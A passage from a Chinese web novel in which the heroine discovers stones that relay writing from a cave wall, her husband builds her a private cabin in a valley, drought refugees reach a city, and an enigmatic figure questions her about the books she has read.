那一刻在场众人啧啧称奇,栖真虽有预感,仍不敢相信自己眼睛。这便试了一遍又一遍——洞壁擦去,石壁上的字就消失;洞壁写就,石壁上立刻出现文字。待栖真把字写得泼天大,那壁上就只呈现不完整的笔画。 越是实验,疑问越多,栖真央祁南英他们将石头弄出洞,可这块少说百来斤,弄出去不容易,最后还是风宿恒唤了山头众人,上上下下,用绳子把石头给吊上去。 山上出了奇事,大家都到洞口好奇围观,就见吊上来的大石上出现“庚子年九月十日”字样。 洞下有声喊:“有字吗?” 风宿恒对下回:“看到,有!” 洞下再喊:“移到坡下试试。” 风宿恒指挥众人拖石头到下坡道,就见“九月十日”下面,又现文字:“万仞山洞底现奇观。” 风宿恒待返身洞口,栾音等几个小的早迫不及待跑去传话:“有字有字,拖过去了还有字!” 洞下喊:“运上去,到山顶去!” 小的们转头齐喊:“宫主说运到山顶去!” 大家好奇心被吊得十足,又花大力气把石拖上山。照风宿恒的意思置到山顶南面,反正离地洞越远越好。他们一路运,就见文字还在出现,等运到下山道口,石面几乎写满了。 风宿恒派栾乐跑去告知栖真,过了一会儿,就见白丁疯也似地跑来,上气不接下气道:“宫……宫主说,让你在石头上写字,看下面能不能收到。” 风宿恒便让祁鸿儒去取来粉笔、抹布,可怎么擦都去不掉石上的文字,只得找空处写了99883,白丁疯也似地跑回去,对洞下大喊:“阿畅擦不掉字,他写了99883,看到吗?” 洞下喊:“没看到!让他们把石头运下山,到戈壁去。” 栾乐一把拉住白丁:“我去!”又蹭蹭跑回山头。 就这样地面洞底,一来一回,大家花了九牛二虎之力,终于在晚膳时聚首,由栖真总结成果:“辛苦大家了!这石头确有脾性,看下来有几点:第一,只有在洞底的石壁上写字,凿下的石头才会出现文字,反向操作就不灵,换句话说,洞底是终端,文字只能单向输出。第二,我们今日一共凿下三块大石,其中有两块都同时出现和洞壁上相同的文字,就是说这是一对多的关系,终端的内容可以同一时间出现在不同石头上。第三,为何还有一块失效呢?目前只能推测是因为第三块石头尺寸小,只有三十寸。但我们还不知传输成功的最小尺寸是多少,这个得一点点试。” 祁南英累得半死,不豫道:“石头再神奇,又有什么用?” 祁鸿儒插嘴:“爹,怎不明白呢?咱们在山头树一块,洞底的人写句话,上面就能看到,不用跑来跑去嘛!” 祁南英拍他脑门:“写什么啊?叫大伙儿开饭,还是少了酱油?谁特地跑洞底写,谁特意去山上看?” 如此一想,也对啊! 石头神奇归神奇,真凿出来,好像也没什么用。 下面的人开始窃窃私语。 栖真拍了拍手,让他们安静,深吸口气严肃道:“在座各位正在见证一个奇迹,庚子年九月十日注定被中土历史铭记。因为自今日起,中土将进入一个新纪元。” 众人莫名,又被栖真的肃然感染,全静下来听她说。 “因为这些石头的存在,将改变人们信息传输的方式。若石头存量足够,那么这种影响将辐射整个中土。” “祁哥适才说写什么、谁会看?他真地提出两个极好的问题!我来说几个场景。” “若我们开采一百块这样的石头,置在一百座城中,每日固定时间在洞底书写课程,是不是百城稚子能同时学到?若今日我有百支大军驻防各地,每支军队配备一块石头,是否代表在洞中发布的讯息,百军可同时收到?若我每日在石上写鸳鸯蝴蝶梦怎么怎么好,那百城之人看到后会不会涌去各城店中尝鲜?” “当信息沟通不再受时间和空间的约束,大家能否想象,这世界将发生怎样天翻地覆的变化?” 一席话说完,周围落针可闻。 风宿恒率先站起,激动道:“栖真。” 和他同样激动的还有容绽,他紧握成拳,面上是抑制不住的潮红。 栖真知道风宿恒必是最快能理解她想法的人。她眼神带着安抚和别样意味,看着他道:“当然,对于实现那个令人憧憬的未来,我们还有很长的路要走。姑且将凿下的石头称为‘子石’,如今我们不知这些子石和终端的有效传输距离是多少,不知子石在怎样的环境中可能失效,更不知到底是怎样的机制使得这种互联成为现实!想搞明白这些,需要很多实验和记录才能得出结论,以我们现下的人力,非常非常困难。” 风宿恒接话道:“仔细想想,要实现小姐说的这些,光靠咱们几号人几乎不可能,更别说凿下百块,运到百城。” 栖真道:“阿畅,找你外面那些兄弟帮个忙!我们虽无法大力开采,凿下几块运出去做个尝试还是可行的。” 风宿恒想了想道:“小姐,这活又苦又累,只怕……” 栖真道:“银子加倍出,只求能帮忙。” “得嘞。”风宿恒道:“包在我身上!” 栖真最后看圈众人,郑重叮嘱:“此事干系重大,未成前对外千万慎言,以免给万仞山带来不必要的麻烦。” 栖真从没如此迫切想见重离,以便询问山石的奥秘。重离听完她的发现后,居然弯起嘴角,发出呵呵的笑声。这还是栖真第一次见他露出这般表情,奇道:“所以,你确实知道这里石头有神奇之处?” 重离道:“你能那么快发现,出乎我意料。” “你很希望我发现?”栖真坐不住沙发,起身道:“那你一定知道这些石头是怎么回事,你能不能告诉我它们背后运行的机制?” “一份礼物。”重离道:“你有足够的时间去探索。” 换言之,无可奉告。 “礼物?”栖真道:“可你为什么会为我准备一份这样的礼物?” 重离闻言又笑起来,褐色的瞳仁微微眯起,这让他一贯冷酷的面相显得仁慈,可这种仁慈出现在重离脸上就有些莫名诡异。 他道:“我从来没说过这是给、你、的礼物。” 栖真……… “那是?” 重离 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栖真退后一步:“看来你今天心情不错,上次你说会将未来告诉我,择日不如撞日。” 重离背着手,一身挺括的修身制式套装,军服式样,让他看起来更像独/裁者。 “我改变主意了。”他道:“既然你那么快找到这些小玩具,就把注意力放在上面。现代的未来已经既成事实,中土的未来将因你开始。” ………… 聚义堂和祁南英等人的房子落成时,所有人回山吃了一次宴席。 席上小宝儿有了自己大名,慕容烟月愿他一生得命运垂青,幸运顺遂,是以取名慕容幸。 对这个在山上诞生、使众人和栖真结缘的孩子,大家都很珍视,纷纷赠礼。 栖真送了一只戴在脚丫上的纯金锁,喜欢地抱着孩子一晚没撒手。柳絮回和阿月吃着酒席开玩笑,说看栖真这样,将来自己有了,必是极宠的。被同桌的风宿恒听见,默默瞅着抱孩子的栖真,怎么都看不够。 席间,柳絮回和英迈都说如今他们得了趣,每晚回祁家小院就急着去看置在院中的子石上栖真给他们的留言。如今西游记主题的火锅店“三打白骨精”甫开张,主打骨头锅。再走一遍开店流程,柳絮回老练得多,但仍有不少新问题冒头,可惜不能通过子石给栖真留言,否则及时相询,有来有往,岂非美哉! 托阿畅“江湖朋友”的福,子石在大荒流受过风沙肆虐,在水中遭过浸淫,被泼过墨汁酱油酸水,最远还去了大容的锦驰镇。事实证明,这石头质地坚硬,水火不侵,无论哪种情况,都能稳定、同步、清晰地呈现文字。 栖真席上宣布实验结果后,大家七嘴八舌,兴奋地畅想未来。 可越想越犯难。 因为随着讨论的深入,大家逐渐意识到,凭他们现下的实力即无法量凿使之规摹,一旦暴露于世只怕还会遭觊,给山头带来灭顶之灾。是以大家再心痒难搔,仍在席末时达成一致,此事暂时按下,只待来日。 待散席,栖真想随风宿恒回花千树,谁知风宿恒让颜心先回,自带她下到三峰溪。 栖真觉得奇怪。天都黑了,带她来此做甚?便听风宿恒抱起她道:“带你去个地方。” 如今溪上架起板桥,风宿恒抱她过河,飞掠着一路向北。 眼前树林溪水、瑶台月色轮番过,没过多久便到。落地时栖真一望,嘿,这不是北边那处他们探过的四峰环绕的山谷吗? 这片谷地地势平坦,比他们住的山头还要大。 循风宿恒目光望去,便见高峰下竟然有栋小木屋,和当初聂灵鸢山寨里的小楼差不多,这小屋也是倚山而建、下置扶梯的吊楼。 问题是…… “怎么有木屋?”栖真奇道。 之前来山谷,这里肯定是没有建筑的。 173. 第 173 章 风宿恒推门,摸出火折子点燃油灯。 新木松香扑鼻而来,栖真跟进,一眼看清,屋内陈设简单,一床一桌一椅一柜,隔帘内还有间净室。 木床靠墙,崭新的被褥枕头叠得整齐,还置了两个大大的松软靠垫;桌上列着文房四宝,桌旁有一齐胸高的柜子,上层是各式各样的书,中层全是蜜饯和零食,下层则是驱虫香、皂角、熏香、蜡烛、火折。角落里的木架上搁了三个盆,墙上挂着布巾。 全然一副居家模样。 栖真疑惑道:“谁住这里?” 风宿恒早打开拉窗,用支木架起,任晚风吹拂入室,又回头点了驱虫香,拉起栖真,将一柄钥匙置在她手心,微笑道:“上次你说我要生气,什么地方都能去,你生气却没地儿待,所以我私下托祁南英造了这间小屋,下回你若气到不想见我,可以来这边一个人静静。” 栖真吃惊地看手中钥匙,又看风宿恒,再环视房中:“给我的?” “给你的。”风宿恒蜷起她五指:“收好了。” 没想到自己故意说的气话,风宿恒居然放在心上,更没想到他竟会造这样一栋楼,只为给她一个私密的释放情绪的空间。 “伤心生气乃人之常情,谁不想独自待一会儿呢。”风宿恒道:“这处山谷你走来不远,来前记得带些吃食,你喜欢的书和零嘴我都放了些。若晚间还不想归家,便在此过夜。记得拴好门窗,以防虫豸野兽。” 他犹豫,最后加一句:“气消了就早些回去,我在家中等你。” 栖真听他句句叮嘱,感受的却是自己藏不住的砰砰心跳,呆楞着问了一句:“我来这儿,你找不见我,不着急吗?” 风宿恒道:“你要来这边,必是气到全然不想理我了。这钥匙,以后放在香满路博古架二层的青木匣中,我见钥匙不在,便知你来小屋,就不担心了。” 心里加一句,我会来偷偷看你,知你在此好好的,我便走。 他还待说,便见栖真低头,早已泪流满面。 “这只是第一处。”风宿恒柔声道:“将来,山里景好处都置上宅子,不管心情好还是不好,或兴之所至,大可去住一住。短则一日,长则一月,山巅谷底,林中湖边,甚至冬暖夏凉的洞中。我们虽然出不了万仞山,但春天踏青种菜,夏日荷塘采莲,秋日收谷赏枫,冬日煨酒看雪,别人有的,我们真真一样都不会少。” 栖真紧紧抱住他,哽咽道:“宿恒。” 让她说什么好呢? 感动若有实质,此刻就是让她死去活来,全然浸在蜜里,又带着心酸。 一个男人心细如发,处处为你着想,时时让你感动,她还能说什么呢? 一万遍“我爱你”都觉得单薄。 风宿恒亲她光洁的额头,从怀中取出帕子帮她拭泪,玩笑道:“小孩儿啊,床上哭,床下也哭,以前怎没发觉你那么爱哭?” “不是你嘛?”栖真扁嘴道:“床上让我哭,床下也让我哭。” 她抱住风宿恒不撒手:“以前我以为你是、是高冷男神,现在才知道你是天下第一贴心大暖男!然后,然后,你还做了我老公。” 风宿恒飘汗:“我不是老公。” 栖真抬头,泪眼晶莹,凶巴巴的:“怎么不是?就是我老公!” 风宿恒坏笑:“你们那儿将夫君称老公吗?还有亲爱的?” 他在栖真耳边暧昧道:“在辛丰,老公是对太监的称呼。” 栖真吃惊地啊了一声。 风宿恒看她傻样,宠溺地刮她鼻梁:“口口声声叫老公,是对你夫君某方面不满意吗?” “辛丰有太监?”栖真冒出疑问。 “宫中妃嫔多,怎会没有。”风宿恒笑道:“你当每个皇朝都像大容那般特殊?” 栖真抬手勾住风宿恒脖子,撒娇地摇了摇:“阿畅~~。” 风宿恒见她勾的辛苦,索性拉到床边,把人抱到腿上坐。栖真环着他勃颈咬了咬唇,鼓足勇气问:“我最近是不是胖了?” 风宿恒莫名,对她上下看:“胖?” 栖真捏了捏肚肚:“这里。” 风宿恒也捏了捏:“哪里胖?” 所以不是嫌她胖? 栖真再猜:“那我是不是晒黑了,变丑了?” 风宿恒双眉都飞起,不明白她在说什么:“哪里晒黑?哪里变丑?” 栖真再次跟他确认:“没有吗?没有变胖?没有晒黑?没有变丑?” 风宿恒道:“求之不得你珠圆玉润些,如今这般还是瘦了。”又捏她脸颊:“也不知这愈发抚媚动人的是谁,莫不是得夫君滋润,反来日日乱我心曲?” 栖真嘟了嘟嘴,三样都不是,就只剩…… “所以阿畅是觉得我……”栖真低头:“脾气不好?太作了?” 风宿恒不知“作”为何意,但大体明白她说的,想了想道:“真真没有脾气不好,偶尔不开心,也是因为我让你不开心了。” 他回答前有一瞬犹豫,栖真立刻明白了,果然……问题就在这里! 风宿恒面上虽不承认,其实心里就是觉得她又凶又作。 这般一想就更委屈了,窝在风宿恒颈边不语。 风宿恒抱了片刻,觉得肩头小湿一片,一声鼻吸怎么都藏不住,忙抬肩,想看栖真怎么了,怎么又哭上了? 乘夜来此,她感动到哭他能理解,可之后莫名一串问题,问完还没下文,躲起来又哭,真让他丈二摸不着头脑。 总觉得里面有什么被他忽略,便轻轻拍她安慰,同时心念电转——这情状,栖真分明有话欲诉又羞于启齿。 于是温声鼓励:“有何委屈,都可说得。” 等了一会儿,见怀中人仍默不作声,风宿恒只好揣度:“是这段时日我在山上时间少,不够陪你,不开心了?” 怀里人摇头。 风宿恒道:“为着我明日要回大容平乱,好几日不得回,舍不得我?” 还是摇头。 风宿恒沉吟:“那是……芙蓉帐中怠慢了娘子,真真心中有怨?” 怀中人呼吸一窒,更把脑袋往他颈边藏。 “是为这桩?”他心里亮堂了,确认道:“你想的,尽可在我耳旁说。” 这般,才听耳边声如蚊蝇:“你是嫌我对你太凶,所以对着我没感觉了吗?” 这话真是晴天霹雳,风宿恒一时不知作何表情,奇异地重复道:“我对你没感觉?” 栖真羞意更盛,至此道出心底纠结:“半个月来,阿畅为何都不要我了?” 刚成婚那会儿,回来会被他压着吻,伏案会被他抱住亲,更别说每晚层出不穷的花样。 可后来这种癫狂戛然而止,每晚香满路他只和她说说话,然后大部分时间专心画画,上了床即便她主动抱他亲他,风宿恒也只是回以亲亲抱抱,然后……然后就没有了,两人相拥睡到天明。 她是休息得比以前好,心里却一天比一天委屈,不知自己在风宿恒眼里是没了吸引力,还是上次对他凶过头?可这种事栖真也是首次碰上,电视剧都拉灯结束,成婚后美满幸福,没教过碰到这种情况要怎么办。只好找着理由,体谅风宿恒每日两头辛苦,心里却如蚁噬,深深陷入自我怀疑中。 风宿恒看着栖真,一时彻底无语。 她在这头暗自郁闷,殊不知这段时日来,风宿恒的胸闷至少十倍于她。 人生的浪漫、生活的情趣、无与伦比的创意、心细如发的体贴……所有这些,素来和一个人的气度、学识、眼界、经历气息相关。 一个目不识丁、日日田间地头的老农过的是老实巴交的日子,而对风宿恒这般趋于致臻之人,身负七窍玲珑心,体力又在巅峰,是恨不得倾尽所有对心上人,便是日日翻出花样,于他也全然不在话下。 曾发出邀请,邀栖真同赴那人之为人的极妙处,风宿恒并非巧言令色随便一说。道路且长,一路皆景,便是贫乏处,他也自信能为栖真带出盛景。 但风宿恒确实没想到,不过一时玩笑画个圈,竟让栖真冷战三日,还硬生生逼出一句“想回家”。 若她只是羞恼,风宿恒自觉能哄,可这句“想回家”出口就太严重了! 栖真回不了家是因为什么,她牺牲自己成全的又是什么……这话听在风宿恒耳中,简直比“我们和离吧”还要锥心! 那晚栖真睡后,他瞧 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“风宿恒,新婚燕尔是人之常情,但请你有点分寸。现代不存在修炼,能和你这种变态体力媲美的只有电影里的钢铁侠。我不知道你这个时代的女人是不是承受得住你的热情似火,我只知道栖真承受不起,还请你体谅一下。” “我不希望再从她嘴里听到任何一句“想回家”的话,那会让我后悔当初送她来中土,让我后悔把她送到你身边的决定。” 听完雷恒的话,风宿恒沉默良久。 自那晚起,他真是尽了最大努力去克制! 以魂伺鼎的苦受过,荆之誓言的折磨忍过,如今不过是按捺欲望,照理说并非难事。但栖真主动亲亲抱抱,对风宿恒而言就是酷刑。 可他每次在火热中呢喃着问,今日累吗?栖真都说累啊,只此一句,便让风宿恒再不敢犯,只能抱人哄睡,望她得一安详夜晚。 但栖真不会知道,她睡着后,他根本难以入眠。只要躺在旁边,闻着她的体香,食髓知味,就消不下去。 起初,他辗转反侧忍着,之后是去净房冲冷水,再之后强烈冲击着,让他不得不经常去三峰溪泡着。 其实也想过,不如趁栖真睡着后他溜回千百度睡,又生怕她半夜醒来不见人,徒费解释。 届时实话实说,怕她觉得他不正常;不说实话,又怕她胡思乱想。 思来想去,最后还是甭节外生枝。 至于那份欲求不满的折磨,只留着暗自消磨罢了。 谁想今晚,居然听栖真委屈到哭,问为何他都不要她了? 风宿恒想仰天长啸或吐血也好,话入耳,连他这般七窍玲珑之人,也迫着陷入了迷思。 可栖真既然带着情绪问,便由不得他愣忡。风宿恒清了清嗓,道:“前几日你来葵水,行不得房,之后,之后……” 卡顿,哑口。 说此事责不在他,他还是一如既往,明明是她捉摸不定? 这般说必定完犊子! 下下策! 既然你心里想,为何不直接说出来,还害我辗转反侧费思量? 这样回,状似在解决问题,其实是全然不懂床笫间欲说还休的旖旎。 会将事情推向另一个深渊。 是以风宿恒心念电转,身体力行,翻身将人按倒在床,给了个长长的激烈的吻:“这不是在等此处落成带你来嘛!放心,今晚绝不放过你。将来踏足时你念着这晚的好,也能提前消气,原谅我些。” 只把心底的荒谬全数按下,再不用忍。 两人明明天天在一处,这晚竟生生整出波小别胜新婚的疯狂。 “这里…不怕人听。”栖真再度哭求放过,风宿恒在缓下来间隙调笑:“长风破浪会有时,直挂云帆济沧海。你那些诗里这句写得最好,以后这屋就叫‘长风破浪’。” 栖真破涕为笑,恨声捶他。 这一晚再次印证夫妻之道的惟妙处,纵使委屈隔山海,山海皆可平。 东方露出鱼白际,栖真顿悟,哑声道:“你真是我的好师父。” “教床笫之欢吗?” “教真正的夫妻之道。”她用最后一丝力气在他唇上印下一吻:“不足处,等你回来,我慢慢改。” 没头没脑的一句,风宿恒却听懂了,骤然欣喜,将人搂得更紧。 174. 第 174 章 时辰还早,天刚蒙蒙亮,风宿恒送栖真回去。 两人偷偷溜回鱼龙舞,倒在床上又是吻得难分难舍。风宿恒再不舍,都不敢耽误正事,帮栖真盖好毯道:“睡一会儿,我走了。” 栖真只管撒娇,拉着他衣袖不给走,风宿恒索性脱了,从柜中取出干净的穿上,促狭道:“留给你洗。” 衣上犹有欢爱的余味,惑着人。栖真将衣叠好,置于床头:“不洗,你不在,它伴我入眠。” 风宿恒也舍不得,摸摸她脸颊,叮嘱着:“在山上好好的。” 最后亲了一下栖真的唇:“等我回来,我们再往前一步。” 他没解释什么是“往前一步”,但确信栖真能懂。 静水流深,好日子是磨出来的,不拧巴,不迁就,便是你舒服我也舒服,任你来我往的好时光丝滑流过。 他终得下山御剑东去时,不现疲累,反而精神奕奕,浑身充满干劲。 “你说我不懂女人,确实,我没法否认。她们就像世上最难懂的书,但栖真这本我愿读终生。过了的为她修正,不够的全数补上,这般枝枝剪剪,总有全然合拍之时。” “如今爱她,早已不为着经年的梦。素来打天下容易守天下难,姻缘也是同理。过日子易,心心相印、琴瑟和鸣并不易。栖真是人间难能有二的瑰宝。她虽无意,但确确实实领我探寻着人的繁复妙趣,我也高兴她同我一般心意,会自省、会努力。得妻如此,夫复何求。” “雷恒,你做过最正确的事,就是把她带来中土,带到我身边。多谢你!” “对了,往后床笫事休再提。我非嗜欲之人,自会有分寸。但如何让她尽兴,我远比你有数,你不必再置喙。” 那日风宿恒落地大容前,雷恒像蒸发了,愣是没在脑里吱一声。 ………… 风宿恒回大容那日,郢业发生了一件事。 辛丰西的旱灾持续数月,原本还是瓜州和成西两地最严重,之后陆续波及周边五城。 由于朝廷拨下的赈灾银粮没及时施及,百姓吃起浮土,饿殍遍野。八月底,不知西路道官员贪墨的消息怎么传出去的,一时激起千层浪,百姓冲衙门,杀官员,使西路道权利中枢从上至下全数瘫痪,便有更多灾民因得不到救助而堕入深渊。 天灾人祸叠加,等朝廷反应过来,再调中路道去支援,西路流民早遍及辛丰各地。 郢业位于辛丰东,这日清晨,郢业百姓开门,发现路上多了不少衣衫褴褛的流民,挨家挨户讨要吃食。郢业百姓虽知西路灾况,毕竟离得远,若非亲见流民惨状,是一点感觉都没有的。 有人见其可怜,讨上门的,会给馒头或馍馍。但大多数路过的百姓,即便有一两分恻隐,也只捏着鼻子,躲避流民身上飘出的颠沛流离的恶臭,快速离去。 “去城中生意最好的饭馆子要啊!人家赚得多,要啥有啥,怕喂不起你们?”有路人索性给流民出主意。 是以午后,城中生意最好的五六家饭馆门口流民扎堆,别说做生意,拦人硬闯都费不少功夫。 鸳鸯蝴蝶梦和三打白骨精是这些饭馆里反应最迅速的,一见门口流民即将成势,索性在门外摆桌搭棚发馒头。 说话间隙,柳絮回站在白骨精二楼,看了眼窗下排的长队。 照理说旱灾于农户损失最大,可细瞧,这些人中虽有大量披褂敞衣的农户,也有三五结对的地痞,托儿带口的剃头和吹手,甚至有些像戴巾的读书人……不知辛丰西乱成啥样了,竟将各层颠覆,全数打为难民。 身后,大膀子男人还在点头哈腰地求:“大当家,这店内饰做完就没活儿了。祁哥如今住在山头,有干不完的事儿,也不管咱们兄弟。大当家,咱们也是一路和祁哥讨生活的,如今这样,可让咱家怎么办呢?” 大膀子是祁南英的人,上山造房的工匠队中的一户,狗子他爹。 当初柳絮回觉得这户人家嘴碎,没留他们在山头。房子造好后工匠队跟祁南英下山,先修了鸳鸯蝴蝶梦,再是三打白骨精。可后来大膀子听说祁南英、赵四、白三和莫生他们居然常驻山头,手里有干不完的活儿,却不带着他们兄弟,很是生气。他们素来是跟祁哥找活儿的,如今祁南英一门心思当人家奴,再不管他们的样子,让他们怎么办呢? 大膀子也去求过祁南英,既然你们能住山头,为啥我们不能? 祁南英见他死缠烂打,很不耐烦,便道留什么人不留什么人是主家钦定,你得去求阿絮小姐,他说了不算。 是以近段时日,大膀子时常跑来堵柳絮回,想说服她让他们一家也留下。 之前在山头要吃有吃,要喝有喝,小儿狗子每日还有书读,主家没收过他们一文束脩,这样的日子谁不想过? 谁知阿絮小姐看着好说话,却是个硬茬,怎么求都不松口,只说你们既然跟祁南英多年,便该跟祁哥商量,找我是找错人了。 大膀子只好退而求其次,道如今两店生意红火,让我当个伙计,也算给我家开条生路。谁知人家以店中满人为由,客气得给了闭门羹。 他还待说,便见阿闯上楼来,对柳絮回禀道:“看过了,蝴蝶那边有许先生坐镇,没乱,后厨已蒸上第三波馒头了。” 柳絮回对他点点头,转而对大膀子道:“陈哥,你也看到了,这几日店里忙,先回吧。” 大膀子不甘心,还待再说,便觉阿闯上来揽他背,引他下楼。 “陈哥,人有所长,你调漆是一绝,放弃营造改当小二可惜了。我以后帮你留意着,有好活定叫上你。” 大膀子如今对阿闯焘兴这几个留下的嫉妒非常,狠狠拍掉背上手:“假惺惺!你扛木头还一绝,咋不扛一辈子呢?东家吃迷魂药了,尽留几个毛没长齐的!” 阿闯也不恼,笑嘻嘻道:“东家总有东家考虑,留下的端盘子端到胳膊抽筋,比工地上苦多了。” 大膀子见阿闯如今穿着正经衣冠,一身整整齐齐,早脱去下九流模样,人也越发精神标致,知他就是哄他的,骂骂咧咧转身走了。 出了店,一腔妒火越烧越旺,怎么想都是东家对不起他! 至转角,见流民都排到这里了,索性同他们道:“这店黑心,馒头都是馊的,你们要吃要喝要睡,找个好地方去。” 有个地痞般的大花臂一擦鼻涕:“这世道,哪来好地方?哪儿都烂透了!” 周围一个独眼,一个歪嘴也愤声:“两眼一闭做大梦,那,好地方!” 大膀子见人不信,还呸他,便吼道:“骗你们天打雷劈,城东出去五里地有座万仞山,山上有吃有喝还没官府管,就是顶顶好的地儿!” 大花臂眼睛一轮:“山上凭啥有吃有喝?” 这时街角骚动起来,原来城中几大饭馆受不了流民侵扰,联名报官,由官衙派队赶人。差役们才不管三七二十一,执了摇曳,见这里也是大队聚集,便上来驱赶。推攘下发生口角的,差役全数拎棍就打。 不一会儿就把馆子门口的流民驱散干净,指着施粮棚,凶神恶煞:“谁让搭这个?聚了帮腌臜侵扰邻里,赶紧收,仔细上面怪罪!” 柳絮回心想:这些腌臜难道不是你们辛丰百姓?因天灾没了家,流落在外倒成了他们不是。 这种事在大容简直不敢想象,她心里更看不起辛丰,面上却无语,只瞧着阿闯在楼下让人收了摊。 ………… 容绽下山时,栖真去送他。 人道八月流火,可在大荒流,九月仍热得火烧火燎。栖真戴着遮阳的斗笠,陪他在山道上走。 容绽走得比平时快,步调流畅从容,再次让栖真产生一种“这人到底哪里眼盲?”的错觉,便道:“好了,你已叮嘱多次,你不在时我会好好上课,好好休息。” 容绽微笑道:“《声律启蒙》、《西游记》和《佳文观止》的稿你已全部 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每晚睡前,他会在脑中过一遍今日栖真的话,有些初听不明其理,梦中自会思量,实在想不明白隔日去问,总能得其细细解答。 有时他会突发妙想,或一句笑话,便也存着,只待遇见时说予她听。栖真不仅瞬间能懂,笑起来经常吓走一群雀鸦。 但这人也可恶,得理不饶人时经常怼得他哑口无言,独处时回刍,醍醐灌顶,总禁不住笑出来。 是的,笑出声来! 以前人人都道清心寂神从不笑,那真是极不准确的!他不是刻意高冷,而是过去生命中确实找不出让人发笑的事。整日活在规章礼仪下、求而不得中,有什么事值得一笑? 谁知如今目盲,心胸反到开阔了,竟能听见自己不经意间发出的笑声。 不想让栖真晒,他该快些下山的,阑珊已在山脚下等,可他总觉有说不完的话,怪山道短。 他听栖真在一边絮絮叨叨抱怨:“那么热的天入大荒流,烧烤吗?阿绽,回来我还认得出你吗?” 容绽笑出声,他果然又笑出了声:“这一趟必须得去,你不是一直问我去戈壁做什么,若事成,我回来立马告诉你。” “行了,你要去便去吧。想去哪儿,想做什么还不是你的自由?”栖真道。 是他的自由,但心是沸烫的,若如愿,他想第一时间跟栖真讲,和她分享他的心路历程。 到山脚下,容绽停步,转身道:“今日是九月二十五。” 栖真莫名:“啊?” 容绽道:“我们初见,是二月二十五。” 栖真想了想,被妖风吹到这里是二月二十五吗?只记得是冬天,不由感叹:“在山上八个月了啊,真快啊!” “八个月不过弹指一瞬。”容绽站在对他而言不存在的结界线外:“栖真,我时常觉得我们应该认识不止这点时间。” 栖真心头一凛,若非不远处套着马车的阑珊回头看,她眼都要瞪大了,打哈哈道:“这就是一见如故吧!” “是,一见如故。”容绽抬头,仿佛在遥望整座山头:“没想到这里有那么多奇迹!” 最后对栖真笑得温情:“等我回来。” “自然等你回来。”栖真道:“万事小心。” 容绽点头,在阑珊的掺扶下上了马车。 栖真站在结界内目送马车远去,随手甩了甩腰间香囊,不着调地哼:“长亭外、古道边,黄草碧连天。”最后嘟囔:“一个个都走了,走就走吧。” 今儿又是五日期,回山头给孩子们上完课,她直接去见重离。 现在她还挺期盼去,因为每次进入重离的客厅,就让她有种强烈的回到现代的感觉。 不知是不是精神力在变强,她使用安置舱的时间也越来越长。如今她已经可以做到三小时沉浸舱内,虽然出舱时还有些头晕,至少不像之前那样再被弹出。 175. 第 175 章 其实说栖真在舱内“阅读”并不准确,更确切的说法是做“知识搬运”。毕竟阅读需要思考,搬运只需按钮。 这日出舱后,见客厅里“电视”开着,重离正一手搁在沙发扶手上看屏幕。 栖真一直以为这台六十寸的电视就是摆设,没想到能用。过去一瞧,屏幕上的文字好熟悉,不就是她刚才在舱内选过的书? “你能看到我在里面读了什么?”栖真在沙发上坐下,揉了揉太阳穴,问。 “存储介质的内容对我来说从来不是秘密。”重离支颐道。 “本来就不是!”栖真道:“只不过这些书在你眼里,大概和我看《古文观止》感觉差不多。” 今日重离像有心攀谈:“人类文明数千年,你是以什么为依凭选择这一千零一本书的?” “你如果给我八十个小时回去,我还有心挑一挑,才八个小时,争分夺秒的,哪有时间花在挑书上。”栖真笑道:“有一千零一本?倒凑了个天方夜谭,这纯属巧合,原来这个硬盘里就有几百本,后来我趁叫出租的时候又拷进去些。” “为什么是这些?”重离问。 “这些电子书分三类,一部分是为我儿子存的。我们之前做过一个阅读计划,有些书是他到了一定年龄必看的。比如世界名著和古代典籍,像《爱的教育》、《柳林风声》、《尼尔斯骑鹅旅行记》、《绿野仙踪》、《爱丽丝漫游记》、《老人与海》,还有中国四大名著、《史记》、《古文观止》、《论语》、《庄子》、《老子》。”栖真掰着手数:“大概三百多本,大部分家里都有纸书,电子版就为打个样,我得先看看哪些适合他几年级读,谁叫他们语文考试要考呢。看看要好几天,考考就一道题。哎,没办法,看了语文成绩未必好,不看语文成绩一定不会好!” 说到这里栖真自己都笑起来:“开玩笑的啦,这些都是极好的书,不为考试都值得读。有的不仅要读,还值得钻研一辈子。” “第二类是我给自己存的,闲暇时会放到kindle里。一开始我也不知哪些书好,我同事推荐给我一位梵老师,他每周讲一本书,录成音频放到网上,叫知识服务。我每天上班路上听,然后跟着他的推荐买。听过他的讲解再读原书会更有感觉。这样有……有五年吧,一年五十本,五年就是两百五十本。像《思考快与慢》、《时间简史》、《哲学的慰藉》、《我们如何走到今天》这些都是这么来的。” “第三类嘛,就是为了工作搜集的书和资料啦!写游戏脚本是非常繁琐的工作,可不是光凭想象就能成的,要研究很多很多细节,比如沙漠里会有什么草,长什么样;游戏里的人物穿什么衣服,有没有可以借鉴的出处;再比如造不同制式的房子需要哪些建材,哪些步骤;人类的各项发明到底哪个在前哪个在后,炼金术究竟需要哪些原料,各自的配比………反正我同事说我为了写个脚本,硬生生把自己整成博物专家。可我真没有,那么多东西,越学越觉得自己浅薄好吗?哎,如果那时有安置舱就好了!” 重离静静听完,用冰冷的语气读出屏幕上长长一段文字: ———人类性格的画像导致的一种社会哲学和社会学,认为人类特别易于在社会引导下变得愚蠢,使其天生的才智变得平庸,或是用途邪恶,作为那些不十分奏效的暴力和强制的帮凶,欺骗自己的同胞。 重离道:“这是你今天读到的,你对这段话有什么评价?” 栖真讷讷:“我还没仔细看呢。” 重离瞟了她一眼,继续转头对屏幕读起来: ———在集体心理中,个人的才智被削弱,从而他们的个性也被削弱,异质性被同质性所吞没,无意识的品质占了上风。 ———群体中的个人不再是自己,他变成了一个不受意志支配的玩偶。孤立的他可能是个有教养的人,但在群体中他却变成野蛮人——即一个行为受本能支配的动物,他表现得身不由己,残暴而狂热。 “如果你只负责按按钮……”重离道:“那就是浪费时间。难道你还想像《西游记》一样,将这些文字贩卖给意识形态落后的中土人?” 栖真反驳道:“我不是要把这些内容进行转述,我只是想在你这儿抓紧时间多存些东西,因为后面我有整整五天时间来学习这三小时获取的内容。” 重离像是接受了她的说法:“既然这一本是你挑中的,我想问一问,你对如今在山上伴着你的那些人,你自己挑选的生活伙伴,是怎么看待的?” 栖真道:“很好啊。” 重离道:“就这样?” 